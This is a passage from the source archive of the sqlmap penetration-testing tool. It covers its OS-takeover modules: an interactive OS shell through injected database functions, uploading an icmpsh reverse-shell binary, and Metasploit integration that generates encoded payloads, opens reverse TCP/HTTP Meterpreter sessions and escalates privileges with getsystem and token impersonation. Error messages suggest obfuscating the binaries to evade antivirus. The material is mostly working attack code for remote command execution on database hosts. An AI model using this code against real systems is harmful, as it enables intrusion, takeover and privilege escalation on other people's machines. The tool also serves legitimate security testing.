self.webBackdoorRunCmd(cmd) elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): self.udfExecCmd(cmd, silent=silent) elif Backend.isDbms(DBMS.MSSQL): self.xpCmdshellExecCmd(cmd, silent=silent) else: errMsg = "Feature not yet implemented for the back-end DBMS" raise SqlmapUnsupportedFeatureException(errMsg) def evalCmd(self, cmd, first=None, last=None): retVal = None if self.webBackdoorUrl and not isStackingAvailable(): retVal = self.webBackdoorRunCmd(cmd) elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): retVal = self.udfEvalCmd(cmd, first, last) elif Backend.isDbms(DBMS.MSSQL): retVal = self.xpCmdshellEvalCmd(cmd, first, last) else: errMsg = "Feature not yet implemented for the back-end DBMS" raise SqlmapUnsupportedFeatureException(errMsg) return safechardecode(retVal) def runCmd(self, cmd): choice = None if not self.alwaysRetrieveCmdOutput: message = "do you want to retrieve the command standard " message += "output? [Y/n/a] " choice = readInput(message, default='Y').upper() if choice == 'A': self.alwaysRetrieveCmdOutput = True if choice == 'Y' or self.alwaysRetrieveCmdOutput: output = self.evalCmd(cmd) if output: conf.dumper.string("command standard output", output) else: dataToStdout("No output\n") else: self.execCmd(cmd) def shell(self): if self.webBackdoorUrl and not isStackingAvailable(): infoMsg = "calling OS shell. To quit type " infoMsg += "'x' or 'q' and press ENTER" logger.info(infoMsg) else: if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): infoMsg = "going to use injected sys_eval and sys_exec " infoMsg += "user-defined functions for operating system " infoMsg += "command execution" logger.info(infoMsg) elif Backend.isDbms(DBMS.MSSQL): infoMsg = "going to use xp_cmdshell extended procedure for " infoMsg += "operating system command execution" logger.info(infoMsg) else: errMsg = "feature not yet implemented for the back-end DBMS" raise SqlmapUnsupportedFeatureException(errMsg) infoMsg = "calling %s OS shell. To quit type " % (Backend.getOs() or "Windows") infoMsg += "'x' or 'q' and press ENTER" logger.info(infoMsg) autoCompletion(AUTOCOMPLETE_TYPE.OS, OS.WINDOWS if Backend.isOs(OS.WINDOWS) else OS.LINUX) while True: command = None try: command = raw_input("os-shell> ") command = getUnicode(command, encoding=sys.stdin.encoding) except KeyboardInterrupt: print errMsg = "user aborted" logger.error(errMsg) except EOFError: print errMsg = "exit" logger.error(errMsg) break if not command: continue if command.lower() in ("x", "q", "exit", "quit"): break self.runCmd(command) def _initRunAs(self): if not conf.dbmsCred: return if not conf.direct and not isStackingAvailable(): errMsg = "stacked queries are not supported hence sqlmap cannot " errMsg += "execute statements as another user. The execution " errMsg += "will continue and the DBMS credentials provided " errMsg += "will simply be ignored" logger.error(errMsg) return if Backend.isDbms(DBMS.MSSQL): msg = "on Microsoft SQL Server 2005 and 2008, OPENROWSET function " msg += "is disabled by default. This function is needed to execute " msg += "statements as another DBMS user since you provided the " msg += "option '--dbms-creds'. If you are DBA, you can enable it. " msg += "Do you want to enable it? [Y/n] " if readInput(msg, default='Y', boolean=True): expression = getSQLSnippet(DBMS.MSSQL, "configure_openrowset", ENABLE="1") inject.goStacked(expression) # TODO: add support for PostgreSQL # elif Backend.isDbms(DBMS.PGSQL): # expression = getSQLSnippet(DBMS.PGSQL, "configure_dblink", ENABLE="1") # inject.goStacked(expression) def initEnv(self, mandatory=True, detailed=False, web=False, forceInit=False): self._initRunAs() if self.envInitialized and not forceInit: return if web: self.webInit() else: self.checkDbmsOs(detailed) if mandatory and not self.isDba(): warnMsg = "functionality requested probably does not work because " warnMsg += "the current session user is not a database administrator" if not conf.dbmsCred and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL): warnMsg += ". You can try to use option '--dbms-cred' " warnMsg += "to execute statements as a DBA user if you " warnMsg += "were able to extract and crack a DBA " warnMsg += "password by any mean" logger.warn(warnMsg) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): success = self.udfInjectSys() if success is not True: msg = "unable to mount the operating system takeover" raise SqlmapFilePathException(msg) elif Backend.isDbms(DBMS.MSSQL): if mandatory: self.xpCmdshellInit() else: errMsg = "feature not yet implemented for the back-end DBMS" raise SqlmapUnsupportedFeatureException(errMsg) self.envInitialized = True ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/lib/takeover/icmpsh.py�����������������������������������������������������������������0000664�0000000�0000000�00000011167�13260122637�0017246�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import os import re import socket import time from extra.icmpsh.icmpsh_m import main as icmpshmaster from lib.core.common import getLocalIP from lib.core.common import getRemoteIP from lib.core.common import normalizePath from lib.core.common import ntToPosixSlashes from lib.core.common import randomStr from lib.core.common import readInput from lib.core.data import conf from lib.core.data import logger from lib.core.data import paths from lib.core.exception import SqlmapDataException class ICMPsh: """ This class defines methods to call icmpsh for plugins. """ def _initVars(self): self.lhostStr = None self.rhostStr = None self.localIP = getLocalIP() self.remoteIP = getRemoteIP() or conf.hostname self._icmpslave = normalizePath(os.path.join(paths.SQLMAP_EXTRAS_PATH, "icmpsh", "icmpsh.exe_")) def _selectRhost(self): address = None message = "what is the back-end DBMS address? " if self.remoteIP: message += "[Enter for '%s' (detected)] " % self.remoteIP while not address: address = readInput(message, default=self.remoteIP) if conf.batch and not address: raise SqlmapDataException("remote host address is missing") return address def _selectLhost(self): address = None message = "what is the local address? " if self.localIP: message += "[Enter for '%s' (detected)] " % self.localIP valid = None while not valid: valid = True address = readInput(message, default=self.localIP or "") try: socket.inet_aton(address) except socket.error: valid = False finally: valid = valid and re.search(r"\d+\.\d+\.\d+\.\d+", address) is not None if conf.batch and not address: raise SqlmapDataException("local host address is missing") elif address and not valid: warnMsg = "invalid local host address" logger.warn(warnMsg) return address def _prepareIngredients(self, encode=True): self.localIP = getattr(self, "localIP", None) self.remoteIP = getattr(self, "remoteIP", None) self.lhostStr = ICMPsh._selectLhost(self) self.rhostStr = ICMPsh._selectRhost(self) def _runIcmpshMaster(self): infoMsg = "running icmpsh master locally" logger.info(infoMsg) icmpshmaster(self.lhostStr, self.rhostStr) def _runIcmpshSlaveRemote(self): infoMsg = "running icmpsh slave remotely" logger.info(infoMsg) cmd = "%s -t %s -d 500 -b 30 -s 128 &" % (self._icmpslaveRemote, self.lhostStr) self.execCmd(cmd, silent=True) def uploadIcmpshSlave(self, web=False): ICMPsh._initVars(self) self._randStr = randomStr(lowercase=True) self._icmpslaveRemoteBase = "tmpi%s.exe" % self._randStr self._icmpslaveRemote = "%s/%s" % (conf.tmpPath, self._icmpslaveRemoteBase) self._icmpslaveRemote = ntToPosixSlashes(normalizePath(self._icmpslaveRemote)) logger.info("uploading icmpsh slave to '%s'" % self._icmpslaveRemote) if web: written = self.webUpload(self._icmpslaveRemote, os.path.split(self._icmpslaveRemote)[0], filepath=self._icmpslave) else: written = self.writeFile(self._icmpslave, self._icmpslaveRemote, "binary", forceCheck=True) if written is not True: errMsg = "there has been a problem uploading icmpsh, it " errMsg += "looks like the binary file has not been written " errMsg += "on the database underlying file system or an AV has " errMsg += "flagged it as malicious and removed it. In such a case " errMsg += "it is recommended to recompile icmpsh with slight " errMsg += "modification to the source code or pack it with an " errMsg += "obfuscator software" logger.error(errMsg) return False else: logger.info("icmpsh successfully uploaded") return True def icmpPwn(self): ICMPsh._prepareIngredients(self) self._runIcmpshSlaveRemote() self._runIcmpshMaster() debugMsg = "icmpsh master exited" logger.debug(debugMsg) time.sleep(1) self.execCmd("taskkill /F /IM %s" % self._icmpslaveRemoteBase, silent=True) time.sleep(1) self.delRemoteFile(self._icmpslaveRemote) ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/lib/takeover/metasploit.py�������������������������������������������������������������0000664�0000000�0000000�00000071000�13260122637�0020134�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import os import re import select import sys import tempfile import time from subprocess import PIPE from extra.cloak.cloak import cloak from extra.cloak.cloak import decloak from lib.core.common import dataToStdout from lib.core.common import Backend from lib.core.common import getLocalIP from lib.core.common import getRemoteIP from lib.core.common import getUnicode from lib.core.common import normalizePath from lib.core.common import ntToPosixSlashes from lib.core.common import pollProcess from lib.core.common import randomRange from lib.core.common import randomStr from lib.core.common import readInput from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.enums import DBMS from lib.core.enums import OS from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapGenericException from lib.core.settings import IS_WIN from lib.core.settings import METASPLOIT_SESSION_TIMEOUT from lib.core.settings import SHELLCODEEXEC_RANDOM_STRING_MARKER from lib.core.settings import UNICODE_ENCODING from lib.core.subprocessng import blockingReadFromFD from lib.core.subprocessng import blockingWriteToFD from lib.core.subprocessng import Popen as execute from lib.core.subprocessng import send_all from lib.core.subprocessng import recv_some if IS_WIN: import msvcrt class Metasploit: """ This class defines methods to call Metasploit for plugins. """ def _initVars(self): self.connectionStr = None self.lhostStr = None self.rhostStr = None self.portStr = None self.payloadStr = None self.encoderStr = None self.payloadConnStr = None self.localIP = getLocalIP() self.remoteIP = getRemoteIP() or conf.hostname self._msfCli = normalizePath(os.path.join(conf.msfPath, "msfcli")) self._msfConsole = normalizePath(os.path.join(conf.msfPath, "msfconsole")) self._msfEncode = normalizePath(os.path.join(conf.msfPath, "msfencode")) self._msfPayload = normalizePath(os.path.join(conf.msfPath, "msfpayload")) self._msfVenom = normalizePath(os.path.join(conf.msfPath, "msfvenom")) if IS_WIN: _ = conf.msfPath while _: if os.path.exists(os.path.join(_, "scripts")): _ = os.path.join(_, "scripts", "setenv.bat") break else: old = _ _ = normalizePath(os.path.join(_, "..")) if _ == old: break self._msfCli = "%s & ruby %s" % (_, self._msfCli) self._msfConsole = "%s & ruby %s" % (_, self._msfConsole) self._msfEncode = "ruby %s" % self._msfEncode self._msfPayload = "%s & ruby %s" % (_, self._msfPayload) self._msfVenom = "%s & ruby %s" % (_, self._msfVenom) self._msfPayloadsList = { "windows": { 1: ("Meterpreter (default)", "windows/meterpreter"), 2: ("Shell", "windows/shell"), 3: ("VNC", "windows/vncinject"), }, "linux": { 1: ("Shell (default)", "linux/x86/shell"), 2: ("Meterpreter (beta)", "linux/x86/meterpreter"), } } self._msfConnectionsList = { "windows": { 1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"), 2: ("Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports"), 3: ("Reverse HTTP: Connect back from the database host to this machine tunnelling traffic over HTTP", "reverse_http"), 4: ("Reverse HTTPS: Connect back from the database host to this machine tunnelling traffic over HTTPS", "reverse_https"), 5: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"), }, "linux": { 1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"), 2: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"), } } self._msfEncodersList = { "windows": { 1: ("No Encoder", "generic/none"), 2: ("Alpha2 Alphanumeric Mixedcase Encoder", "x86/alpha_mixed"), 3: ("Alpha2 Alphanumeric Uppercase Encoder", "x86/alpha_upper"), 4: ("Avoid UTF8/tolower", "x86/avoid_utf8_tolower"), 5: ("Call+4 Dword XOR Encoder", "x86/call4_dword_xor"), 6: ("Single-byte XOR Countdown Encoder", "x86/countdown"), 7: ("Variable-length Fnstenv/mov Dword XOR Encoder", "x86/fnstenv_mov"), 8: ("Polymorphic Jump/Call XOR Additive Feedback Encoder", "x86/jmp_call_additive"), 9: ("Non-Alpha Encoder", "x86/nonalpha"), 10: ("Non-Upper Encoder", "x86/nonupper"), 11: ("Polymorphic XOR Additive Feedback Encoder (default)", "x86/shikata_ga_nai"), 12: ("Alpha2 Alphanumeric Unicode Mixedcase Encoder", "x86/unicode_mixed"), 13: ("Alpha2 Alphanumeric Unicode Uppercase Encoder", "x86/unicode_upper"), } } self._msfSMBPortsList = { "windows": { 1: ("139/TCP", "139"), 2: ("445/TCP (default)", "445"), } } self._portData = { "bind": "remote port number", "reverse": "local port number", } def _skeletonSelection(self, msg, lst=None, maxValue=1, default=1): if Backend.isOs(OS.WINDOWS): opSys = "windows" else: opSys = "linux" message = "which %s do you want to use?" % msg if lst: for num, data in lst[opSys].items(): description = data[0] if num > maxValue: maxValue = num if "(default)" in description: default = num message += "\n[%d] %s" % (num, description) else: message += " [%d] " % default choice = readInput(message, default="%d" % default) if not choice: if lst: choice = getUnicode(default, UNICODE_ENCODING) else: return default elif not choice.isdigit(): logger.warn("invalid value, only digits are allowed") return self._skeletonSelection(msg, lst, maxValue, default) elif int(choice) > maxValue or int(choice) < 1: logger.warn("invalid value, it must be a digit between 1 and %d" % maxValue) return self._skeletonSelection(msg, lst, maxValue, default) choice = int(choice) if lst: choice = lst[opSys][choice][1] return choice def _selectSMBPort(self): return self._skeletonSelection("SMB port", self._msfSMBPortsList) def _selectEncoder(self, encode=True): # This is always the case except for --os-bof where the user can # choose which encoder to use. When called from --os-pwn the encoder # is always x86/alpha_mixed - used for sys_bineval() and # shellcodeexec if isinstance(encode, basestring): return encode elif encode: return self._skeletonSelection("payload encoding", self._msfEncodersList) def _selectPayload(self): if Backend.isOs(OS.WINDOWS) and conf.privEsc: infoMsg = "forcing Metasploit payload to Meterpreter because " infoMsg += "it is the only payload that can be used to " infoMsg += "escalate privileges via 'incognito' extension, " infoMsg += "'getsystem' command or post modules" logger.info(infoMsg) _payloadStr = "windows/meterpreter" else: _payloadStr = self._skeletonSelection("payload", self._msfPayloadsList) if _payloadStr == "windows/vncinject": choose = False if Backend.isDbms(DBMS.MYSQL): debugMsg = "by default MySQL on Windows runs as SYSTEM " debugMsg += "user, it is likely that the the VNC " debugMsg += "injection will be successful" logger.debug(debugMsg) elif Backend.isDbms(DBMS.PGSQL): choose = True warnMsg = "by default PostgreSQL on Windows runs as " warnMsg += "postgres user, it is unlikely that the VNC " warnMsg += "injection will be successful" logger.warn(warnMsg) elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): choose = True warnMsg = "it is unlikely that the VNC injection will be " warnMsg += "successful because usually Microsoft SQL Server " warnMsg += "%s runs as Network Service " % Backend.getVersion() warnMsg += "or the Administrator is not logged in" logger.warn(warnMsg) if choose: message = "what do you want to do?\n" message += "[1] Give it a try anyway\n" message += "[2] Fall back to Meterpreter payload (default)\n" message += "[3] Fall back to Shell payload" while True: choice = readInput(message, default="2") if not choice or choice == "2": _payloadStr = "windows/meterpreter" break elif choice == "3": _payloadStr = "windows/shell" break elif choice == "1": if Backend.isDbms(DBMS.PGSQL): logger.warn("beware that the VNC injection might not work") break elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): break elif not choice.isdigit(): logger.warn("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > 2: logger.warn("invalid value, it must be 1 or 2") if self.connectionStr.startswith("reverse_http") and _payloadStr != "windows/meterpreter": warnMsg = "Reverse HTTP%s connection is only supported " % ("S" if self.connectionStr.endswith("s") else "") warnMsg += "with the Meterpreter payload. Falling back to " warnMsg += "reverse TCP" logger.warn(warnMsg) self.connectionStr = "reverse_tcp" return _payloadStr def _selectPort(self): for connType, connStr in self._portData.items(): if self.connectionStr.startswith(connType): return self._skeletonSelection(connStr, maxValue=65535, default=randomRange(1025, 65535)) def _selectRhost(self): if self.connectionStr.startswith("bind"): message = "what is the back-end DBMS address? [Enter for '%s' (detected)] " % self.remoteIP address = readInput(message, default=self.remoteIP) if not address: address = self.remoteIP return address elif self.connectionStr.startswith("reverse"): return None else: raise SqlmapDataException("unexpected connection type") def _selectLhost(self): if self.connectionStr.startswith("reverse"): message = "what is the local address? [Enter for '%s' (detected)] " % self.localIP address = readInput(message, default=self.localIP) if not address: address = self.localIP return address elif self.connectionStr.startswith("bind"): return None else: raise SqlmapDataException("unexpected connection type") def _selectConnection(self): return self._skeletonSelection("connection type", self._msfConnectionsList) def _prepareIngredients(self, encode=True): self.connectionStr = self._selectConnection() self.lhostStr = self._selectLhost() self.rhostStr = self._selectRhost() self.portStr = self._selectPort() self.payloadStr = self._selectPayload() self.encoderStr = self._selectEncoder(encode) self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr) def _forgeMsfCliCmd(self, exitfunc="process"): if kb.oldMsf: self._cliCmd = "%s multi/handler PAYLOAD=%s" % (self._msfCli, self.payloadConnStr) self._cliCmd += " EXITFUNC=%s" % exitfunc self._cliCmd += " LPORT=%s" % self.portStr if self.connectionStr.startswith("bind"): self._cliCmd += " RHOST=%s" % self.rhostStr elif self.connectionStr.startswith("reverse"): self._cliCmd += " LHOST=%s" % self.lhostStr else: raise SqlmapDataException("unexpected connection type") if Backend.isOs(OS.WINDOWS) and self.payloadStr == "windows/vncinject": self._cliCmd += " DisableCourtesyShell=true" self._cliCmd += " E" else: self._cliCmd = "%s -L -x 'use multi/handler; set PAYLOAD %s" % (self._msfConsole, self.payloadConnStr) self._cliCmd += "; set EXITFUNC %s" % exitfunc self._cliCmd += "; set LPORT %s" % self.portStr if self.connectionStr.startswith("bind"): self._cliCmd += "; set RHOST %s" % self.rhostStr elif self.connectionStr.startswith("reverse"): self._cliCmd += "; set LHOST %s" % self.lhostStr else: raise SqlmapDataException("unexpected connection type") if Backend.isOs(OS.WINDOWS) and self.payloadStr == "windows/vncinject": self._cliCmd += "; set DisableCourtesyShell true" self._cliCmd += "; exploit'" def _forgeMsfCliCmdForSmbrelay(self): self._prepareIngredients(encode=False) if kb.oldMsf: self._cliCmd = "%s windows/smb/smb_relay PAYLOAD=%s" % (self._msfCli, self.payloadConnStr) self._cliCmd += " EXITFUNC=thread" self._cliCmd += " LPORT=%s" % self.portStr self._cliCmd += " SRVHOST=%s" % self.lhostStr self._cliCmd += " SRVPORT=%s" % self._selectSMBPort() if self.connectionStr.startswith("bind"): self._cliCmd += " RHOST=%s" % self.rhostStr elif self.connectionStr.startswith("reverse"): self._cliCmd += " LHOST=%s" % self.lhostStr else: raise SqlmapDataException("unexpected connection type") self._cliCmd += " E" else: self._cliCmd = "%s -x 'use windows/smb/smb_relay; set PAYLOAD %s" % (self._msfConsole, self.payloadConnStr) self._cliCmd += "; set EXITFUNC thread" self._cliCmd += "; set LPORT %s" % self.portStr self._cliCmd += "; set SRVHOST %s" % self.lhostStr self._cliCmd += "; set SRVPORT %s" % self._selectSMBPort() if self.connectionStr.startswith("bind"): self._cliCmd += "; set RHOST %s" % self.rhostStr elif self.connectionStr.startswith("reverse"): self._cliCmd += "; set LHOST %s" % self.lhostStr else: raise SqlmapDataException("unexpected connection type") self._cliCmd += "; exploit'" def _forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None): if kb.oldMsf: self._payloadCmd = self._msfPayload else: self._payloadCmd = "%s -p" % self._msfVenom self._payloadCmd += " %s" % self.payloadConnStr self._payloadCmd += " EXITFUNC=%s" % exitfunc self._payloadCmd += " LPORT=%s" % self.portStr if self.connectionStr.startswith("reverse"): self._payloadCmd += " LHOST=%s" % self.lhostStr elif not self.connectionStr.startswith("bind"): raise SqlmapDataException("unexpected connection type") if Backend.isOs(OS.LINUX) and conf.privEsc: self._payloadCmd += " PrependChrootBreak=true PrependSetuid=true" if kb.oldMsf: if extra == "BufferRegister=EAX": self._payloadCmd += " R | %s -a x86 -e %s -o \"%s\" -t %s" % (self._msfEncode, self.encoderStr, outFile, format) if extra is not None: self._payloadCmd += " %s" % extra else: self._payloadCmd += " X > \"%s\"" % outFile else: if extra == "BufferRegister=EAX": self._payloadCmd += " -a x86 -e %s -f %s" % (self.encoderStr, format) if extra is not None: self._payloadCmd += " %s" % extra self._payloadCmd += " > \"%s\"" % outFile else: self._payloadCmd += " -f exe > \"%s\"" % outFile def _runMsfCliSmbrelay(self): self._forgeMsfCliCmdForSmbrelay() infoMsg = "running Metasploit Framework command line " infoMsg += "interface locally, please wait.." logger.info(infoMsg) logger.debug("executing local command: %s" % self._cliCmd) self._msfCliProc = execute(self._cliCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE, close_fds=False) def _runMsfCli(self, exitfunc): self._forgeMsfCliCmd(exitfunc) infoMsg = "running Metasploit Framework command line " infoMsg += "interface locally, please wait.." logger.info(infoMsg) logger.debug("executing local command: %s" % self._cliCmd) self._msfCliProc = execute(self._cliCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE, close_fds=False) def _runMsfShellcodeRemote(self): infoMsg = "running Metasploit Framework shellcode " infoMsg += "remotely via UDF 'sys_bineval', please wait.." logger.info(infoMsg) self.udfExecCmd("'%s'" % self.shellcodeString, silent=True, udfName="sys_bineval") def _runMsfShellcodeRemoteViaSexec(self): infoMsg = "running Metasploit Framework shellcode remotely " infoMsg += "via shellcodeexec, please wait.." logger.info(infoMsg) if not Backend.isOs(OS.WINDOWS): self.execCmd("chmod +x %s" % self.shellcodeexecRemote, silent=True) cmd = "%s %s &" % (self.shellcodeexecRemote, self.shellcodeString) else: cmd = "\"%s\" %s" % (self.shellcodeexecRemote, self.shellcodeString) self.execCmd(cmd, silent=True) def _loadMetExtensions(self, proc, metSess): if not Backend.isOs(OS.WINDOWS): return send_all(proc, "use espia\n") send_all(proc, "use incognito\n") # This extension is loaded by default since Metasploit > 3.7: # send_all(proc, "use priv\n") # This extension freezes the connection on 64-bit systems: # send_all(proc, "use sniffer\n") send_all(proc, "sysinfo\n") send_all(proc, "getuid\n") if conf.privEsc: print infoMsg = "trying to escalate privileges using Meterpreter " infoMsg += "'getsystem' command which tries different " infoMsg += "techniques, including kitrap0d" logger.info(infoMsg) send_all(proc, "getsystem\n") infoMsg = "displaying the list of available Access Tokens. " infoMsg += "Choose which user you want to impersonate by " infoMsg += "using incognito's command 'impersonate_token' if " infoMsg += "'getsystem' does not success to elevate privileges" logger.info(infoMsg) send_all(proc, "list_tokens -u\n") send_all(proc, "getuid\n") def _controlMsfCmd(self, proc, func): initialized = False start_time = time.time() stdin_fd = sys.stdin.fileno() while True: returncode = proc.poll() if returncode is None: # Child hasn't exited yet pass else: logger.debug("connection closed properly") return returncode try: if IS_WIN: timeout = 3 inp = "" _ = time.time() while True: if msvcrt.kbhit(): char = msvcrt.getche() if ord(char) == 13: # enter_key break elif ord(char) >= 32: # space_char inp += char if len(inp) == 0 and (time.time() - _) > timeout: break if len(inp) > 0: try: send_all(proc, inp) except (EOFError, IOError): # Probably the child has exited pass else: ready_fds = select.select([stdin_fd], [], [], 1) if stdin_fd in ready_fds[0]: try: send_all(proc, blockingReadFromFD(stdin_fd)) except (EOFError, IOError): # Probably the child has exited pass out = recv_some(proc, t=.1, e=0) blockingWriteToFD(sys.stdout.fileno(), out) # For --os-pwn and --os-bof pwnBofCond = self.connectionStr.startswith("reverse") pwnBofCond &= "Starting the payload handler" in out # For --os-smbrelay smbRelayCond = "Server started" in out if pwnBofCond or smbRelayCond: func() timeout = time.time() - start_time > METASPLOIT_SESSION_TIMEOUT if not initialized: match = re.search(r"Meterpreter session ([\d]+) opened", out) if match: self._loadMetExtensions(proc, match.group(1)) if "shell" in self.payloadStr: send_all(proc, "whoami\n" if Backend.isOs(OS.WINDOWS) else "uname -a ; id\n") time.sleep(2) initialized = True elif timeout: proc.kill() errMsg = "timeout occurred while attempting " errMsg += "to open a remote session" raise SqlmapGenericException(errMsg) if conf.liveTest and timeout: if initialized: send_all(proc, "exit\n") time.sleep(2) else: proc.kill() except (EOFError, IOError, select.error): return proc.returncode except KeyboardInterrupt: pass def createMsfShellcode(self, exitfunc, format, extra, encode): infoMsg = "creating Metasploit Framework multi-stage shellcode " logger.info(infoMsg) self._randStr = randomStr(lowercase=True) self._shellcodeFilePath = os.path.join(conf.outputPath, "tmpm%s" % self._randStr) Metasploit._initVars(self) self._prepareIngredients(encode=encode) self._forgeMsfPayloadCmd(exitfunc, format, self._shellcodeFilePath, extra) logger.debug("executing local command: %s" % self._payloadCmd) process = execute(self._payloadCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE, close_fds=False) dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X")) pollProcess(process) payloadStderr = process.communicate()[1] match = re.search(r"(Total size:|Length:|succeeded with size|Final size of exe file:) ([\d]+)", payloadStderr) if match: payloadSize = int(match.group(2)) if extra == "BufferRegister=EAX": payloadSize = payloadSize / 2 debugMsg = "the shellcode size is %d bytes" % payloadSize logger.debug(debugMsg) else: errMsg = "failed to create the shellcode (%s)" % payloadStderr.replace("\n", " ").replace("\r", "") raise SqlmapFilePathException(errMsg) self._shellcodeFP = open(self._shellcodeFilePath, "rb") self.shellcodeString = self._shellcodeFP.read() self._shellcodeFP.close() os.unlink(self._shellcodeFilePath) def uploadShellcodeexec(self, web=False): self.shellcodeexecLocal = os.path.join(paths.SQLMAP_EXTRAS_PATH, "shellcodeexec") if Backend.isOs(OS.WINDOWS): self.shellcodeexecLocal = os.path.join(self.shellcodeexecLocal, "windows", "shellcodeexec.x%s.exe_" % "32") content = decloak(self.shellcodeexecLocal) if SHELLCODEEXEC_RANDOM_STRING_MARKER in content: content = content.replace(SHELLCODEEXEC_RANDOM_STRING_MARKER, randomStr(len(SHELLCODEEXEC_RANDOM_STRING_MARKER))) _ = cloak(data=content) handle, self.shellcodeexecLocal = tempfile.mkstemp(suffix="%s.exe_" % "32") os.close(handle) with open(self.shellcodeexecLocal, "w+b") as f: f.write(_) else: self.shellcodeexecLocal = os.path.join(self.shellcodeexecLocal, "linux", "shellcodeexec.x%s_" % Backend.getArch()) __basename = "tmpse%s%s" % (self._randStr, ".exe" if Backend.isOs(OS.WINDOWS) else "") self.shellcodeexecRemote = "%s/%s" % (conf.tmpPath, __basename) self.shellcodeexecRemote = ntToPosixSlashes(normalizePath(self.shellcodeexecRemote)) logger.info("uploading shellcodeexec to '%s'" % self.shellcodeexecRemote) if web: written = self.webUpload(self.shellcodeexecRemote, os.path.split(self.shellcodeexecRemote)[0], filepath=self.shellcodeexecLocal) else: written = self.writeFile(self.shellcodeexecLocal, self.shellcodeexecRemote, "binary", forceCheck=True) if written is not True: errMsg = "there has been a problem uploading shellcodeexec, it " errMsg += "looks like the binary file has not been written " errMsg += "on the database underlying file system or an AV has " errMsg += "flagged it as malicious and removed it. In such a case " errMsg += "it is recommended to recompile shellcodeexec with " errMsg += "slight modification to the source code or pack it " errMsg += "with an obfuscator software" logger.error(errMsg) return False else: logger.info("shellcodeexec successfully uploaded") return True def pwn(self, goUdf=False): if goUdf: exitfunc = "thread" func = self._runMsfShellcodeRemote else: exitfunc = "process" func = self._runMsfShellcodeRemoteViaSexec self._runMsfCli(exitfunc=exitfunc) if self.connectionStr.startswith("bind"): func() debugMsg = "Metasploit Framework command line interface exited " debugMsg += "with return code %s" % self._controlMsfCmd(self._msfCliProc, func) logger.debug(debugMsg) if not goUdf: time.sleep(1) self.delRemoteFile(self.shellcodeexecRemote) def smb(self): Metasploit._initVars(self) self._randFile = "tmpu%s.txt" % randomStr(lowercase=True) self._runMsfCliSmbrelay() if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): self.uncPath = "\\\\\\\\%s\\\\%s" % (self.lhostStr, self._randFile) else: self.uncPath = "\\\\%s\\%s" % (self.lhostStr, self._randFile) debugMsg = "Metasploit Framework console exited with return " debugMsg += "code %s" % self._controlMsfCmd(self._msfCliProc, self.uncPathRequest) logger.debug(debugMsg) def bof(self): self._runMsfCli(exitfunc="seh") if self.connectionStr.startswith("bind"): self.spHeapOverflow() debugMsg = "Metasploit Framework command line interface exited " debugMsg += "with return code %s" % self._controlMsfCmd(self._msfCliProc, self.spHeapOverflow) logger.debug(debugMsg) sqlmap-1.2.4/lib/takeover/registry.py���������������������������������������������������������������0000664�0000000�0000000�00000007314�13260122637�0017632�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import os from lib.core.common import randomStr from lib.core.data import conf from lib.core.data import logger from lib.core.enums import REGISTRY_OPERATION class Registry: """ This class defines methods to read and write Windows registry keys """ def _initVars(self, regKey, regValue, regType=None, regData=None, parse=False): self._regKey = regKey self._regValue = regValue self._regType = regType self._regData = regData self._randStr = randomStr(lowercase=True) self._batPathRemote = "%s/tmpr%s.bat" % (conf.tmpPath, self._randStr) self._batPathLocal = os.path.join(conf.outputPath, "tmpr%s.bat" % self._randStr) if parse: readParse = "FOR /F \"tokens=*\" %%A IN ('REG QUERY \"" + self._regKey + "\" /v \"" + self._regValue + "\"') DO SET value=%%A\r\nECHO %value%\r\n" else: readParse = "REG QUERY \"" + self._regKey + "\" /v \"" + self._regValue + "\"" self._batRead = ( "@ECHO OFF\r\n", readParse, ) self._batAdd = ( "@ECHO OFF\r\n", "REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self._regKey, self._regValue, self._regType, self._regData), ) self._batDel = ( "@ECHO OFF\r\n", "REG DELETE \"%s\" /v \"%s\" /f" % (self._regKey, self._regValue), ) def _createLocalBatchFile(self): self._batPathFp = open(self._batPathLocal, "w") if self._operation == 